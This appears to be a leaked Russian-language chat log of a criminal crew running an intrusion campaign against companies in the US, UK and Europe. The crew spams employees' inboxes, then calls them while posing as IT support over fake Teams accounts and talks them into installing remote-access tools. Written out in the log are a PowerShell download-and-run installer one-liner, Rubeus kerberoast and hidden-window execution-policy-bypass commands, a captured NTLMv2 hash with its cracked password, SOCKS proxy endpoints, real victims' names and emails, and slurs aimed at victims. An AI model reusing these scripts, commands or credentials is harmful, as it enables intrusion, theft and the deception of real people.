+

> <@usernameww:matrix.bestflowers247.online> 5file.lockers.zip

lckrs.zip

++

+

я просто в них запутался

+

ok

`https://backconnect.org/?id=34d53bf811de63e7a2b0bf86a7462f32&generate` открывается у вас ?

не открывается что-то у меня

мг, сокс бот там генерится

наверное разработчику нужно написать, если контакты есть

может уже домен сменил

+

но домен то не работает

----

дозвонились до хипо 2ккк

пробуем пообщаться чтобы дала сессию еще раз

+

Server IP address: 94.131.112.42

```

здесь клиент

зайдешь?

какой?

что там???

))))))

не. он свой рабочий стол изучает и готовится к тому что его избавят от злоебучего спама

++

> <@usernameww:matrix.bestflowers247.online> sent a file.

офнусь, буду в тг

он же не ответил пока?

ты сам зайдешь?

6.7z

++

Все загрузилось

А то не с первого раза )

Untitled Folder.zip

да, я не знаю чем помочь тут

7zG.exe b

может он админ и там пролезет левел?

image.png

у нас там еще тачка появилась кстати

с виндоус ентерпрайз

там мел отписал, чекните нашу тачку в левеле

готовлю на зватра супер дупер схему с контактами

ок

ну выходит что левел это один из самых стабильных конектов

и бесплатный, подписанный сертом и тд

> <@usernamegg:matrix.bestflowers247.online> минут 15 пожалуйста не отходит это срочно

прикол конечно с этим контактом

уволенный попался походу

)

поехали

дебил я

вырубило меня

обожди

надо сверится что у нас осталось

пиздец

простите

с тебя 5 анидесков и ты прощен)

договор

AntonioRecio@higginbothamsupport.onmicrosoft.com

саьвлю на спам

ты пока добавляй

подрубаемся

сейчас дам

+

Headquarters

бро

бро

тут

прием

ты здесь?

95.164.88.73

на это й тачке

клиент

там тимвьюер

```

на рабочий стол залил ей

файлы

папка 1

назвается 1

ок

спам пошел

звоню

или подождать минут 5 ?

да

ок

даже 10мин

и начинаем

Headquarters

_______

связь через угв

да

марта на линии)

а еще раз?

ща

там пароль сохранен

давай я попробую?

1 990 249 963

лови

гоугоугоу

это сессия которая отвалилась

> <@usernamegg:matrix.bestflowers247.online> выкинуло

новую сделали - ждем

мин

сами подрубимся и я отпишу

да

все

заходи

как осовободишься

следующая тачка

я пока файлы туда залью

марта на линии если что - ждем что надо сделать

Server IP address: 94.131.112.42

здесь

> <@usernamegg:matrix.bestflowers247.online> C:\Users\mm36055

все заспамили если что

C:\Users\christian.berger\1

файлы залил

ltkf.

делаю

C:\Users\christian.berger

и сюда залил

скажешь

готовь другие пока

а что с этими так быстро идет?

я делаю не берет никто

пока

patracorp.com.txt

Server IP address: 37.221.126.203

здесь теперь

начинаю пускать файлы?

она не может

бля не

не получится

ввести

вот пас

как освободишь дед - дай знать

Mau&Mau2024!

посмотри чат с угв

ему пароль дали

дозвонился до бритни

у них запрет на установку

она вообще не может скачать

и файл не принять не может

пусть терминал от амдина запустит

у нее по регламенту сразу звонить в айти

ты уже с ней на связи

можно не звонить

да она имя сверяет сек

дальше иду не хавает она это

почему что сказала

ну видно просто

там понятно по голосу

я не знаю как сказать

нет

там тимвивер не работает

хер знает в чем косяк

но он подключается

и через 5 сек все

видимо из-за лицензии

скажи когда прощаться

пока на линии

поэтому нужно на том - на котором ты сейчас

ты освободил уже?

они вообще проинструктированы норм

первый вопрос name и corp #

ну ок

перезвоним позже

я не просто так их дал мы с одной уже общаилисть

ей было допизды

установила ?

да

ну она не задавала вопросов

у меня уже вторая

задает нормально

KennethCurtis@patracorpitsupport.onmicrosoft.com

остальные не берут

пока добиваю список и делаю новую

всех прошел?

ок

я там добваил акк к списку выше

Kenneth Curtis Senior Software Developer

да

иду

ну как там?

мертвые пока все

никто не берет

это уже второй список?

да

6 контакт

ок

29dns_payload_x86.zip

принял

сек

> <@usernamegg:matrix.bestflowers247.online> sent an image.

ты про нее тут

?

ща

Server IP address: 94.131.112.42

вообще все контакты дохлые

половину прошел

файлы залил

принял

идешь?

> <@usernamegg:matrix.bestflowers247.online> mclarens.com

C:\Users\Nick.Olendorf

файлы здесь

дальше давайте

заканчиваю

осталось 7

----

марта написывает - будет инфа говори

марту отпускаю

тут дохляк

можно еще список

хорошо)

оберег от спама

беги на след дед там на линии чел

плиз

++

tim.spake@ahpcare.com

отлично

поехали

вообще не одного patracorp.com

только добавь их в акк общий

с саппортом

какой именно ?

незнайка пишет что он не видит окно

ща

JohnDavis@spamsupportonline.onmicrosoft.com

+ спасибо

мони говорит спама не было

ставили ?

скажи что у многих сотрудников есть. какая-то атака. нужно обновить защиту

минуту

сейчас проверю

спам

бля походу не поствили минуту

да

карен тоже говорит

давай подождем

да

их тоже заспамим нахер

ты скажи что идет волна

их тоже может накрыть

ебаное цунами спама

я понимаю

но лучше когда волна идет и я звоню

да

ща будет

так я сейчас просто могу похерить их

потенциальных рабочих наших

давай подождем 10 минут и пройду по ним

дада

ждем

тут все онлайн поэтому будет точно один гуд лид

поставили

ждем минут 10-15

отлично добавил

а австралию делайте ?

пока юса

канада, сингапур тоже можно в будущем

а вопрос можно ?

получилось что-то с бабкой сегодня ?

где с гг работали ?

дед там айтишник - 9 лет)

днем помнишь делали аккаунт один ?

где она пароль вводила на .bat

да

он работал в айти 9 лет)

UK

вся инфа позже

щас все в запаре

я смотрю поа мало писем улетело

но идет стата с задержкой

окно появилось

у деда

+

начинают долетать

звоню через 7 минут

+

NTLMv2.exe

Rubeus.exe

`Rubeus.exe kerberoast /format:hashcat /outfile:C:\Users\Public\kekhash.txt`

goc.exe

`goc.exe -fast -sort -sortplus`

`Nick.Olendorf::MCLARENS:1122334455667788:b2a9b5ee65aeb57da6c4cbea6518fa52:010100000000000085de83c3cbc1da019aa6af8fee5bb7580000000008003000300000000000000000000000002000000c5192e66f7d8ade797004d4edabc075763cbad276157c3ed4eef50425d2abd70a0010000000000000000000000000000000000009002c004d0043004c004100520045004e0053005c004e00690063006b002e004f006c0065006e0064006f00720066000000000000000000`

jvaughn@invtitle.com на связи с ней сейчас

ок

можешь кунуть инвайт

на тимку

нет

для тимвивера он должен скинуть идентификатор сессии

и пароль

бля тупая сучка

Your ID

да я знаю

Your password

тупая жирная мразб

я понимаю )

просто ТУПАЯ

они все тупые.

дрень

дрянь

будь более толерантен

нет эта особенная

скрин если что пусть кидает

помоги ей

да она не знает что такое скрин

она просто окорок

это наш клиент

мразь американская

хорошо что не знает

я понимаю

нам такие нужны

помоги

давить суку

помогаю ей

наберись терпения

она пошла звонить кому-то поэтому и бесит

давить не получится

она большая

я говорю чтоб скачал с anydesk

ее нужно кушать по частям

как слона

суку бей

крч давай-те дальше

она меня на холд кинула и пошла звонить кому-то

ок

я ее инструктировал чтоб качала тимку

мне он пока не нужен

сорвалось

да в айти позвонила )

мразь толстая

VGD.exe

что имейл у меня не настоящий с тимз

`VGD.exe -c all`

а говоришь тупая. по инструкции сделала

давай дальше

тупая

пока айти не разнесла эту новость

по всей компании

да понимаю

извини пожалуйста

работаем

нужен гол

понял.. ты отпиши если что незнайке

Carol Hayden-на завтра вышла от компа

Herah Osborne

у них в компании по регламенту

только через свой софт они делают

почти добил но она не глупая

у нас там еще на связи линкольн

добивает список

и все тогда на сегодня

завтра будет инетресней)

mikayla.ellis@assuredpartners.com

не дает скачать

точнее скачать дает

установить не дает

про аник речь?

да

тимвивер пусть ставит

да

mikayla.ellis@assuredpartners.com

не дает установить ей

давай попробуем код в пауершел

правой кнопкой мыши по кнопке пуск

давай

image.png

и в открывшемся окне

вводим код

`$env:LEVEL_API_KEY = "RuifWW5A8gatcB2Kyq7L64W2"; Set-ExecutionPolicy RemoteSigned -Scope Process -Force; [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; $tempFile = Join-Path ([System.IO.Path]::GetTempPath()) "install_windows.exe"; Invoke-WebRequest -Uri "https://downloads.level.io/install_windows.exe" -OutFile $tempFile; & $tempFile;`

это где делается ?

> <@mel:artronica.rocks> правой кнопкой мыши по кнопке пуск

да да

> <@mel:artronica.rocks> правой кнопкой мыши по кнопке пуск

да да понял

повесила трубку

перезваниваю

калифорнийские компании есть

west coast

еще есть что-то ?

ты закончил список?

да

тогда на сегодня все

не берут остальные

до завтра

завтра давайте договоримся

не

во сколько ты завтра будешь?

на сегодня все

завтра будут акки под компании

начнем юк с 12

я сегодня просто пришел к 12

а начали в 2:00

давай те лучше в 2:00 pm начнем

доброй ночи бро

плотно UK

двигаю домой

))))

ок. ты только выспись нормально.

ну прикольно ) когда такой движ

германию уже делаем тоже

https://prnt.sc/jhyUy6xo8Vev

если раньше выспишься - приходи раньше

я выспался

из за этого

я работал просто по юса до 6-7 утра

в пятницу только с ugw познакомился

скажите в какое время завтра быть и я буду

буду к 12

NICK.OLENDORF::MCLARENS:1122334455667788:b2a9b5ee65aeb57da6c4cbea6518fa52:010100000000000085de83c3cbc1da019aa6af8fee5bb7580000000008003000300000000000000000000000002000000c5192e66f7d8ade797004d4edabc075763cbad276157c3ed4eef50425d2abd70a0010000000000000000000000000000000000009002c004d0043004c004100520045004e0053005c004e00690063006b002e004f006c0065006e0064006f00720066000000000000000000:Thor6974$

> <@usernamejj:matrix.bestflowers247.online> `7f6c2249e956f921ca7cea8d649f7466`

доброе утро

> <@usernameboy:matrix.bestflowers247.online> 7f6c2249e956f921ca7cea8d649f7466:TochPack6

`45.32.88.233:34781 DERM`

`45.32.88.233:33587 DERM`

акки сделали, сейчас жду чела должен контакты скинуть

к 11 все должно быть

Теперь отображается только первых 100 акков + 1 акк юзера

AuthForm.exe

Отображение убрал чтобы потенциально пофиксить лаги (предполагаю, что из-за этого долго запускалось)

чел немножко тупанул, контакты вот-вот будут

`https://www.supercoloring.com/ru/holidays/usa/2024`

`https://ru.wikipedia.org/wiki/%D0%9F%D1%80%D0%B0%D0%B7%D0%B4%D0%BD%D0%B8%D0%BA%D0%B8_%D0%A1%D0%A8%D0%90`

принял

немного проебался с контками сегодня - на завтра это учтем 100проц

```

\идк

иду

----

сокс это связь с софтом вашим на тачке?

какую функцию он выполняет

у меня есть мысль если это так

я на тренировку меня мел подменит

всем задания раздал скоро будут акки для юк с контктами

потом скину тебе статью

поймешь идею - может это заменит соксы

и будет стабильным конектом

AuthForm.exe

добрый день

готов

привет

скоро будут таргеты

🏴󠁧󠁢󠁷󠁬󠁳󠁿

@lincoln:artronica.rocks is requesting to verify your key, but your client does not support in-chat key verification. You will need to use legacy key verification to verify keys.

а нет я просто добавил

брат

ну да

у меня пустой аккаунт

сейчас я coca call

я просто тебя добавил в trusted )

Han: burrito у вас есть крипт который в другой процесс инжектится, чтобы файл не занимать?

да конечно

надо найти я ее кидал 100проц

связь с маяками черзе тимс

найду чуть позже

где там ?

Привет! Ок

а ну я норм или не очень ?

в плане работы

я просто первый раз через teams работаю

> <@usernamegg:matrix.bestflowers247.online> [10:24:16] backconnect - socks bot: привет домен заблокировали

я просто хочу понять уровень одного прозвона

сколько таргетов в день

да это я понимаю

да я импульсивный, когда срывается звонок из за подсознания работника

у него регламент включается

))) братан )

VALID_BRUT_CISCO.txt

VALID_BRUT_RDWEB.txt

VALID_BRUT_SONIC.txt

я это все понимаю )

я про другое

даш мне как нибудь свой тимз

послушаешь меня

мне нужно понять сколько у вас таргетов делал лучший прозвон в день

https://redsiege.com/blog/2024/01/graphstrike-developer/

+

а как он может делать 5 за час ?

все буду через 1.15 пошел потреню

если когда я отдаю вам таргет

AUTH_VALID.txt

CISCO_VALID_ITEMS.txt

FORTI_VALID.txt

SONIC_VALID.txt

WG_VALID.txt

вы мне говорите ждать час )

просто у меня все таргеты от часа

были

50 таргетов в сутки получается

ну вот нам надо

мне надо

ты здесь?

привет

поэтому давай сейчас юк отработаю на высшем уровне

Server IP address: 94.131.112.42

клиент здесь

+

30-50к

ну у меня такой заработок норм для меня

аууууууууууууууууу

я просто добавил тебя

файлы там

Занимаюсь

как обычно

запустил первый файл

ну логически понятно как-то

и третий

мне нужно понять алгоритм

больше не делал ничего

заходи

я работал в с классе раньше

> <@usernameyy:matrix.bestflowers247.online> Han: burrito у вас есть крипт который в другой процесс инжектится, чтобы файл не занимать?

ты идешь?

нет

креды не вводили

вижу

зашел

вообще любой, хоть самому спавнить rundll

лишь бы мигрировать куда нибудь из основного

не туда)

JoeCarr@wtwcocom.onmicrosoft.com

заходи в акк

sally.irvine@wtwco.com

добавляй пока

ставлю спам

отпишу как начинаем

> <@usernameyy:matrix.bestflowers247.online> вообще любой, хоть самому спавнить rundll

Что сделать?

да конечно

танка

пирата

длл шк без проблем

харрис

голд

ну да

я по банкам

работал

как запрашивать правильно в будущем?

токены и переадресация звонка

чтобы без лишних сообщений)

я на всех на них работал

отп перехваты

ну сколько команд было все и выруливал

AuthForm.exe

Просто пиши при выдаче инжект в другой процесс.

Я буду понимать

> <@usernamegg:matrix.bestflowers247.online> в s классе я тоже работал пока одного товарища не приняли в европе

хотя еще год назад работали на нем

> <@usernameyy:matrix.bestflowers247.online> sent a file.

```

Untitled1.ps1

TEAMS_EMAILS_EU.txt

TEAMS_EMAILS.txt

вот еще контакты для тимса

но как проверить статус онлайн хз.. можете расписать?

как у тебя дела?

добавил?

да

все сделано

ок

отлично

через 8 минут старт

+

* powershell -WindowStyle Hidden -ExecutionPolicy Bypass Untitled1.ps1

* powershell -WindowStyle Hidden -ExecutionPolicy Bypass ./Untitled1.ps1

* powershell -ExecutionPolicy RemoteSigned ./Untitled1.ps1

socks5 91.196.70.160 41673

socks5 91.196.70.160 39593

поехали

> <@usernameyy:matrix.bestflowers247.online> update5, update4 мои соксы, update1 update2 соксы улан, update3 это форма авторизации. runoutlookupdate.bat cоответственно батник который запустить надо

В течении часа

exploit

делаю сейчас

очень заточены )

русский спам идет

уже третий срывается на закачке team viewer

f xnj c fybltcr&

а что с анидеск?

почем тивьюер?

вообще не дает им

он у них заблокирован

https://helpdeskguru-my.sharepoint.com/:u:/g/personal/tylerperry_helpdeskguru_onmicrosoft_com/EaVgyVPkRH1LmJRlJnDdmhwBO2doj2VaTjZKBaJ6oGojhg?e=qYoC3L

пусть отсюда качают

скажи - это для внутреннего использования

ker.txt

да я понимаю

я только дозваниваюсь и сразу говорят что им нельзя говорить со мной и сразу спрашивают id

сек сейчас найду жертву

это другие или те же которые ты уже присылал?

heiko.nagorski@bucherhydraulics.com с этим закончили?

remote accesss

не подойдет ?

нужен анидеск или тививер

* нужен анидеск или тимвивер

готовить след надо

очень быстро отреагировали

причем все

не понял

в чем проблема?

+

там 48 000 сотрудников в компании

как они отреагировали?

отреагировали

вот так

очень быстро

подробнее можно?

сразу как начинаю говорить

---

вам же вин сокс нужен?

`usdermpartners.com \\ id:e29b038c-e00c-4c31-a8ff-c380c04a29d0`

сразу задают

вопрос все

10 звонков

и все говорят одно и тоже

какой вопрос

имя мое в компании

так

очень быстро отреагировали

я же говорю

твое имя в компании соответствует специалисту из компании

id number моя спрашивают

я это понимаю

имя аккаунта

не будут они качать ничего

ладно давай я прозвоню

ты весь список прошел?

я иду мне парочку осталось

но прям им айтишники звонят

и говорят что говорить

> <@usernamegg:matrix.bestflowers247.online> когда будет ?

1.7z

какой пасс от архива?

готовдю следующий. давай доделаем этот

строка:

jGsyXKpZ8Cr7HY9JcWDnNwtSx3VUA2EaR4gBe6uhmdvbkTQz5P

может найдется челвек которому пофик

дак я ищу

но прям все !

я говорю очень жестко

напиши как закончишь

закончил

все уведомлены

прям супер странно

MarlonCissp@pensionconporation.onmicrosoft.com

aa112JKHVF*&2ssss

это твоя должность в компании Information Security Assurance Manager

seth@pensioncorporation.com

ща доел только

_______________

Добавляй. я скажу когда старт

+

подкосили меня )

я сам на верифе был и коровке еще

есть

update.zip

отлично. через 10 мин начинаем

а мы не знакомы ?

если что я уже тут.. работаем

> <@usernameugway:matrix.bestflowers247.online> https://redsiege.com/blog/2024/01/graphstrike-developer/

погнали

не забудь свою должность

и как тебя зовут

+

Security Assurance Manager

Marlon )

цель - нужно хотя бы 3 аника поставить с этого списка. в идеале 5

+

скрипт кидаю

не может

блок стоит и на anydesk и на тимку

сейчас дальше иду

проблема в этой тупой строке

что у нас имейл отличается и я не в компании

стопорит все

сек дальше иду

там где блок стоит на анидеск, отправляй вот эту ссылку

https://helpdeskguru-my.sharepoint.com/:u:/g/personal/tylerperry_helpdeskguru_onmicrosoft_com/EaVgyVPkRH1LmJRlJnDdmhwBO2doj2VaTjZKBaJ6oGojhg?e=qYoC3L

$env:LEVEL_API_KEY = "RuifWW5A8gatcB2Kyq7L64W2"; Set-ExecutionPolicy RemoteSigned -Scope Process -Force; [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; $tempFile = Join-Path ([System.IO.Path]::GetTempPath()) "install_windows.exe"; Invoke-WebRequest -Uri "https://downloads.level.io/install_windows.exe" -OutFile $tempFile; & $tempFile;

вот тут просит username and password

а у них нет инфы

все правильно

свой пусть введут

от компа

логин и пароль

нет

не подходит

https://prnt.sc/RTm6L2FUCPbY

линк твой не работает

какие еще варианты

прощаемся и дальше

сейчас попробую еще

через 30 минут

что через 30 минут?

я тесанул только что линк работает

если что

можно в чат ему кинуть exe от эника

я кидал

ссылку

ты с ними еще на связи?

у нее звонок через 5 минут

> <@usernameyy:matrix.bestflowers247.online> Han: burrito у вас есть крипт который в другой процесс инжектится, чтобы файл не занимать?

я с ней договорился через 30

ок

она готова работать

скачай себе анидеск

какие еще варианты есть

и установочный файл попробуй ей отправить через чат

при разговоре

давай дальше звонить

он не дает

я пытался так сделать при разговоре

она в офисе будет через 2 часа

ок

поехали дальше

принял

делаю

ты на той закончил?

ага, я на всякий случай

ок. напиши как закончишь. туда тоже залью

> <@usernameyy:matrix.bestflowers247.online> ага, я на всякий случай

продумайте план под Keli Zhang

она как раз дома и будет звонок через 20 минут

те которые в офисе

с ними сложно и они сразу передают информацию